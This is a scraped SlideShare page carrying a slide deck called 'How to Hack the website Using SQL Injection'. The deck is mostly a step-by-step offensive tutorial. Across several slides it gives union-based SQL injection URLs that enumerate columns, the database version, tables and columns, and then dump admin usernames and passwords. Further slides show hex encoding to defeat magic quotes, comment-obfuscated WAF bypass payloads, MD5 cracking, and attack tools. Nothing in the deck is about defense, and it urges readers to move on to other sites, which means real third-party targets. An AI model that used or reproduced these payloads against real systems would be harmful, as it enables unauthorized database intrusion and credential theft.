SlideShare a Scribd company logo
3
Most read
4
Most read
12
Most read
SQL Injection
Kaushal Kishore
Sr. Software Engineer
OSSCube Pvt. Ltd.
Kaushal.rahuljaiswal@gmail.com
www.osscube.com
What is SQL Injection

SQL injection is a technique that is applied by giving malicious inputs, that
result in allowing the hacker to access over the database of the Host, in
case if the database operations of that web sites is allowed directly...!

"SQL injection is a code injection technique that exploits a security
vulnerability occurring in the database layer of an application. The
vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input
is not strongly typed and thereby unexpectedly executed. It is an instance
of a more general class of vulnerabilities that can occur whenever one
programming or scripting language is embedded inside another. SQL
injection attacks are also known as SQL insertion attacks".
How to Hack the website Using
SQL Injection
SQL Injection
Check Site is vulnerable or Not?

Add the '(Single Quote) sign with the integer value in URL

http://www.examplesite.com/index.php?id=5'

If the site shows you an error it is vulnerable to SQL, lets say we
found a vulnerable site.
Find Number of Columns

http://www.examplesite.com/index.php?id=5 order by 1--

And we will keep increasing the number until we get an error.

http://www.examplesite.com/index.php?id=5 order by 5--

http://www.examplesite.com/index.php?id=5 order by 10--

Lets say there is 10 columns in the database.
Find vulnerable columns.

http://www.examplesite.com/index.php?id=-5 union select
1,2,3,4,5,6,7,8,9,10--

Notice that I have put a single - in front of the id number (id=-5)

Since there is no page with the id -5 it simply put just clears the
sites text for us. That makes it easier for us to find the data that we
are looking for.

Okay lets say the numbers 3, 6 and 9 popped up on the site, as
vulnerable columns.
Find Database Version

http://www.examplesite.com/index.php?id=-5 union select
1,2,@@version,4,5,6,7,8,9,10--

And if that doesn't work then try this 1:

http://www.examplesite.com/index.php?id=-5 union select
1,2,version(),4,5,6,7,8,9,10--
Find Database Name

http://www.examplesite.com/index.php?id=-5 union select 1,2,
concat(database()) ,4,5,6,7,8,9,10--

Write that name down so you wont forget it. Lets say the database
name i just extracted was named exampledatabase

If the version is 4 or below, it is probably best that you just move on to
another site since you are gonna have to brute force the tables for
information (which isn't a very good idea for starters like us )
Find the Tables Name

http://www.examplesite.com/index.php?id=-5 union select
1,2,group_concat(table_name),4,5,6,7,8,9,10 from
information_schema.tables where table_schema=database()--

http://www.examplesite.com/index.php?id=-5 union select
1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables
where table_schema=database()--

http://www.examplesite.com/index.php?id=-5 union select
1,2,table_name ,4,5,6,7,8,9,10 from information_schema.tables where
table_schema=database()--
Find the Columns Name

http://www.examplesite.com/index.php?id=-5 union select
1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name="admin"--

If the site shows you an error now don't panic! All that means is that
Magic Quotes is turned on. To bypass this we need to convert the
text "admin" into hex.
Change the Name of Table to
Hex

Copy the name of the table you are trying to access, visit the site
Text to Hex, paste the name into the website where it says "Say
Hello To My Little Friend". Click Convert copy the hex into your
query like this.

http://www.examplesite.com/index.php?id=-5 union select
1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name=0x61646d696e--

Notice the 0x before the hex string. This is to tell the server that the
next part is a hex string.

You should now see all the columns inside the table.
Find the Content of the Tables

Lets say there are 2 columns called username and password. In order
to see what are inside of those columns we will use this query:

http://www.examplesite.com/index.php?id=-5 union select
1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from
exampledatabase.admin--

This is where we needed the database name. Btw the 0x3a means
colon ( : )

Now you have the admin login!

If it is decrypted, try to run it through some online md5 'decrypters' or
use my free cracked

And now we have to find the admin login, to do so, once again you can
By Pass The WAF

http://www.example.com/staffdetail.php?id=123'+/*!
union*/select+1,2,3,4,5,6,7--+

http://www.example.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/
1,2,3--

http://www.example.com/staffdetail.php?id=123'+/*!union*//*!select*/
+all+1,2,table_name,4,5,6,7+FROM+information_schema.tables+W
HERE+table_schema+=+database()+LIMIT+0,10--+
Tools for SQL Injection

SQL Ninja

SQL Map

Havij
Questions
Thank you for your Time and
Attention!
17

More Related Content

What's hot (20)

PPTX
SQL INJECTION
Mentorcs
 
PPTX
Owasp top 10 vulnerabilities
OWASP Delhi
 
PPT
Sql injection
Nitish Kumar
 
PPTX
Sql injection
Nuruzzaman Milon
 
PPT
Sql injection
Pallavi Biswas
 
PPTX
SQL injection prevention techniques
SongchaiDuangpan
 
PDF
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
PPTX
Sql Injection attacks and prevention
helloanand
 
PDF
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 
PPTX
Sql injection
Zidh
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PPTX
seminar report on Sql injection
Jawhar Ali
 
PPTX
SQL injection
Raj Parmar
 
PPTX
Sql injection
Hemendra Kumar
 
PPTX
SQL Injections (Part 1)
n|u - The Open Security Community
 
PPTX
Secure coding practices
Scott Hurrey
 
PPTX
Sql injections - with example
Prateek Chauhan
 
PDF
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
Edureka!
 
PPT
Secure code practices
Hina Rawal
 
PPTX
Xss attack
Manjushree Mashal
 
SQL INJECTION
Mentorcs
 
Owasp top 10 vulnerabilities
OWASP Delhi
 
Sql injection
Nitish Kumar
 
Sql injection
Nuruzzaman Milon
 
Sql injection
Pallavi Biswas
 
SQL injection prevention techniques
SongchaiDuangpan
 
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
Sql Injection attacks and prevention
helloanand
 
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 
Sql injection
Zidh
 
Vulnerabilities in modern web applications
Niyas Nazar
 
seminar report on Sql injection
Jawhar Ali
 
SQL injection
Raj Parmar
 
Sql injection
Hemendra Kumar
 
SQL Injections (Part 1)
n|u - The Open Security Community
 
Secure coding practices
Scott Hurrey
 
Sql injections - with example
Prateek Chauhan
 
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
Edureka!
 
Secure code practices
Hina Rawal
 
Xss attack
Manjushree Mashal
 

Viewers also liked (16)

PPTX
SQL Injection
Marios Siganos
 
DOCX
Types of sql injection attacks
Respa Peter
 
PPT
Les attaques par injection sql
Mohamed Yassin
 
PDF
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
PPT
D:\Technical\Ppt\Sql Injection
avishkarm
 
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
 
PPT
Web application attacks using Sql injection and countermasures
Cade Zvavanjanja
 
PDF
Introduction à la sécurité des applications web avec php [fr]
Wixiweb
 
PPT
Sql Injection Attacks Siddhesh
Siddhesh Bhobe
 
PDF
SQL injection: Not only AND 1=1
Bernardo Damele A. G.
 
PDF
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
 
PPTX
SQL 2014 et la gestion de la sécurité
Microsoft Technet France
 
PDF
Time-Based Blind SQL Injection Using Heavy Queries
Chema Alonso
 
PDF
Sql Injection and XSS
Mike Crabb
 
PPT
Introduction to SQL Injection
jpubal
 
PDF
Advanced SQL Injection: Attacks
Nuno Loureiro
 
SQL Injection
Marios Siganos
 
Types of sql injection attacks
Respa Peter
 
Les attaques par injection sql
Mohamed Yassin
 
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
D:\Technical\Ppt\Sql Injection
avishkarm
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
 
Web application attacks using Sql injection and countermasures
Cade Zvavanjanja
 
Introduction à la sécurité des applications web avec php [fr]
Wixiweb
 
Sql Injection Attacks Siddhesh
Siddhesh Bhobe
 
SQL injection: Not only AND 1=1
Bernardo Damele A. G.
 
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
 
SQL 2014 et la gestion de la sécurité
Microsoft Technet France
 
Time-Based Blind SQL Injection Using Heavy Queries
Chema Alonso
 
Sql Injection and XSS
Mike Crabb
 
Introduction to SQL Injection
jpubal
 
Advanced SQL Injection: Attacks
Nuno Loureiro
 
Ad

Similar to SQL Injection (20)

PDF
Asp
Adil Jafri
 
PPTX
Sql injection - security testing
Napendra Singh
 
PDF
Blind sql injection
Kagi Adrian Zinelli
 
PDF
Blind sql injection
Kagi Adrian Zinelli
 
PPT
Website Security
Carlos Z
 
PPT
Website Security
MODxpo
 
PPT
secure php
Riyad Bin Zaman
 
PPTX
Sql Injection and Entity Frameworks
Rich Helton
 
PPTX
FORENSIC PRESTTN
Rufa'i Mustapha
 
PDF
Mysql python
Janu Jahnavi
 
PPTX
Mysql python
Janu Jahnavi
 
PDF
Things to keep in mind while creating a word press plugin from scratch
Elsner Technologies Pvt Ltd
 
PPTX
Sql injection ( http://etabz.blogspot.com/2014/11/sql-injection.html )
Ehtisham Ullah
 
PPT
SQL Injection Attacks
Compare Infobase Limited
 
PPTX
Mysql
lotlot
 
PPT
Securing Java EE Web Apps
Frank Kim
 
PPT
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
PPT
Security.ppt
webhostingguy
 
PPTX
GCSECS-DefensiveDesign.pptx
azida3
 
Sql injection - security testing
Napendra Singh
 
Blind sql injection
Kagi Adrian Zinelli
 
Blind sql injection
Kagi Adrian Zinelli
 
Website Security
Carlos Z
 
Website Security
MODxpo
 
secure php
Riyad Bin Zaman
 
Sql Injection and Entity Frameworks
Rich Helton
 
FORENSIC PRESTTN
Rufa'i Mustapha
 
Mysql python
Janu Jahnavi
 
Mysql python
Janu Jahnavi
 
Things to keep in mind while creating a word press plugin from scratch
Elsner Technologies Pvt Ltd
 
Sql injection ( http://etabz.blogspot.com/2014/11/sql-injection.html )
Ehtisham Ullah
 
SQL Injection Attacks
Compare Infobase Limited
 
Mysql
lotlot
 
Securing Java EE Web Apps
Frank Kim
 
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
Security.ppt
webhostingguy
 
GCSECS-DefensiveDesign.pptx
azida3
 
Ad

More from Adhoura Academy (7)

PPTX
Docker Presentation
Adhoura Academy
 
PPTX
Google Dorks
Adhoura Academy
 
ODP
Drupal Content Management System
Adhoura Academy
 
ODP
Content management system
Adhoura Academy
 
PPT
Java script final presentation
Adhoura Academy
 
PPT
Android Presentation
Adhoura Academy
 
PPT
Open Source Presentation
Adhoura Academy
 
Docker Presentation
Adhoura Academy
 
Google Dorks
Adhoura Academy
 
Drupal Content Management System
Adhoura Academy
 
Content management system
Adhoura Academy
 
Java script final presentation
Adhoura Academy
 
Android Presentation
Adhoura Academy
 
Open Source Presentation
Adhoura Academy
 

Recently uploaded (20)

PDF
ARAL_Orientation_Day-2-Sessions_ARAL-Readung ARAL-Mathematics ARAL-Sciencev2.pdf
JoelVilloso1
 
PPTX
SPINA BIFIDA: NURSING MANAGEMENT .pptx
PRADEEP ABOTHU
 
PPTX
Growth and development and milestones, factors
BHUVANESHWARI BADIGER
 
PPTX
grade 5 lesson ENGLISH 5_Q1_PPT_WEEK3.pptx
SireQuinn
 
PPTX
ASRB NET 2023 PREVIOUS YEAR QUESTION PAPER GENETICS AND PLANT BREEDING BY SAT...
Krashi Coaching
 
PPTX
A PPT on Alfred Lord Tennyson's Ulysses.
Beena E S
 
PPTX
HYDROCEPHALUS: NURSING MANAGEMENT .pptx
PRADEEP ABOTHU
 
PDF
The dynastic history of the Chahmana.pdf
PrachiSontakke5
 
PDF
Generative AI: it's STILL not a robot (CIJ Summer 2025)
Paul Bradshaw
 
PDF
Lesson 2 - WATER,pH, BUFFERS, AND ACID-BASE.pdf
marvinnbustamante1
 
PPTX
How to Set Maximum Difference Odoo 18 POS
Celine George
 
PDF
LAW OF CONTRACT (5 YEAR LLB & UNITARY LLB )- MODULE - 1.& 2 - LEARN THROUGH P...
APARNA T SHAIL KUMAR
 
PPSX
Health Planning in india - Unit 03 - CHN 2 - GNM 3RD YEAR.ppsx
Priyanshu Anand
 
PDF
community health nursing question paper 2.pdf
Prince kumar
 
PPTX
THE TAME BIRD AND THE FREE BIRD.pptxxxxx
MarcChristianNicolas
 
PPSX
HEALTH ASSESSMENT (Community Health Nursing) - GNM 1st Year
Priyanshu Anand
 
PPTX
How to Convert an Opportunity into a Quotation in Odoo 18 CRM
Celine George
 
PDF
Chapter-V-DED-Entrepreneurship: Institutions Facilitating Entrepreneurship
Dayanand Huded
 
PPTX
How to Manage Large Scrollbar in Odoo 18 POS
Celine George
 
PPTX
How to Create a PDF Report in Odoo 18 - Odoo Slides
Celine George
 
ARAL_Orientation_Day-2-Sessions_ARAL-Readung ARAL-Mathematics ARAL-Sciencev2.pdf
JoelVilloso1
 
SPINA BIFIDA: NURSING MANAGEMENT .pptx
PRADEEP ABOTHU
 
Growth and development and milestones, factors
BHUVANESHWARI BADIGER
 
grade 5 lesson ENGLISH 5_Q1_PPT_WEEK3.pptx
SireQuinn
 
ASRB NET 2023 PREVIOUS YEAR QUESTION PAPER GENETICS AND PLANT BREEDING BY SAT...
Krashi Coaching
 
A PPT on Alfred Lord Tennyson's Ulysses.
Beena E S
 
HYDROCEPHALUS: NURSING MANAGEMENT .pptx
PRADEEP ABOTHU
 
The dynastic history of the Chahmana.pdf
PrachiSontakke5
 
Generative AI: it's STILL not a robot (CIJ Summer 2025)
Paul Bradshaw
 
Lesson 2 - WATER,pH, BUFFERS, AND ACID-BASE.pdf
marvinnbustamante1
 
How to Set Maximum Difference Odoo 18 POS
Celine George
 
LAW OF CONTRACT (5 YEAR LLB & UNITARY LLB )- MODULE - 1.& 2 - LEARN THROUGH P...
APARNA T SHAIL KUMAR
 
Health Planning in india - Unit 03 - CHN 2 - GNM 3RD YEAR.ppsx
Priyanshu Anand
 
community health nursing question paper 2.pdf
Prince kumar
 
THE TAME BIRD AND THE FREE BIRD.pptxxxxx
MarcChristianNicolas
 
HEALTH ASSESSMENT (Community Health Nursing) - GNM 1st Year
Priyanshu Anand
 
How to Convert an Opportunity into a Quotation in Odoo 18 CRM
Celine George
 
Chapter-V-DED-Entrepreneurship: Institutions Facilitating Entrepreneurship
Dayanand Huded
 
How to Manage Large Scrollbar in Odoo 18 POS
Celine George
 
How to Create a PDF Report in Odoo 18 - Odoo Slides
Celine George
 

SQL Injection

  • 1. SQL Injection Kaushal Kishore Sr. Software Engineer OSSCube Pvt. Ltd. [email protected] www.osscube.com
  • 2. What is SQL Injection  SQL injection is a technique that is applied by giving malicious inputs, that result in allowing the hacker to access over the database of the Host, in case if the database operations of that web sites is allowed directly...!  "SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks".
  • 3. How to Hack the website Using SQL Injection
  • 5. Check Site is vulnerable or Not?  Add the '(Single Quote) sign with the integer value in URL  http://www.examplesite.com/index.php?id=5'  If the site shows you an error it is vulnerable to SQL, lets say we found a vulnerable site.
  • 6. Find Number of Columns  http://www.examplesite.com/index.php?id=5 order by 1--  And we will keep increasing the number until we get an error.  http://www.examplesite.com/index.php?id=5 order by 5--  http://www.examplesite.com/index.php?id=5 order by 10--  Lets say there is 10 columns in the database.
  • 7. Find vulnerable columns.  http://www.examplesite.com/index.php?id=-5 union select 1,2,3,4,5,6,7,8,9,10--  Notice that I have put a single - in front of the id number (id=-5)  Since there is no page with the id -5 it simply put just clears the sites text for us. That makes it easier for us to find the data that we are looking for.  Okay lets say the numbers 3, 6 and 9 popped up on the site, as vulnerable columns.
  • 8. Find Database Version  http://www.examplesite.com/index.php?id=-5 union select 1,2,@@version,4,5,6,7,8,9,10--  And if that doesn't work then try this 1:  http://www.examplesite.com/index.php?id=-5 union select 1,2,version(),4,5,6,7,8,9,10--
  • 9. Find Database Name  http://www.examplesite.com/index.php?id=-5 union select 1,2, concat(database()) ,4,5,6,7,8,9,10--  Write that name down so you wont forget it. Lets say the database name i just extracted was named exampledatabase  If the version is 4 or below, it is probably best that you just move on to another site since you are gonna have to brute force the tables for information (which isn't a very good idea for starters like us )
  • 10. Find the Tables Name  http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--  http://www.examplesite.com/index.php?id=-5 union select 1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--  http://www.examplesite.com/index.php?id=-5 union select 1,2,table_name ,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
  • 11. Find the Columns Name  http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name="admin"--  If the site shows you an error now don't panic! All that means is that Magic Quotes is turned on. To bypass this we need to convert the text "admin" into hex.
  • 12. Change the Name of Table to Hex  Copy the name of the table you are trying to access, visit the site Text to Hex, paste the name into the website where it says "Say Hello To My Little Friend". Click Convert copy the hex into your query like this.  http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x61646d696e--  Notice the 0x before the hex string. This is to tell the server that the next part is a hex string.  You should now see all the columns inside the table.
  • 13. Find the Content of the Tables  Lets say there are 2 columns called username and password. In order to see what are inside of those columns we will use this query:  http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from exampledatabase.admin--  This is where we needed the database name. Btw the 0x3a means colon ( : )  Now you have the admin login!  If it is decrypted, try to run it through some online md5 'decrypters' or use my free cracked  And now we have to find the admin login, to do so, once again you can
  • 14. By Pass The WAF  http://www.example.com/staffdetail.php?id=123'+/*! union*/select+1,2,3,4,5,6,7--+  http://www.example.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3--  http://www.example.com/staffdetail.php?id=123'+/*!union*//*!select*/ +all+1,2,table_name,4,5,6,7+FROM+information_schema.tables+W HERE+table_schema+=+database()+LIMIT+0,10--+
  • 15. Tools for SQL Injection  SQL Ninja  SQL Map  Havij
  • 17. Thank you for your Time and Attention! 17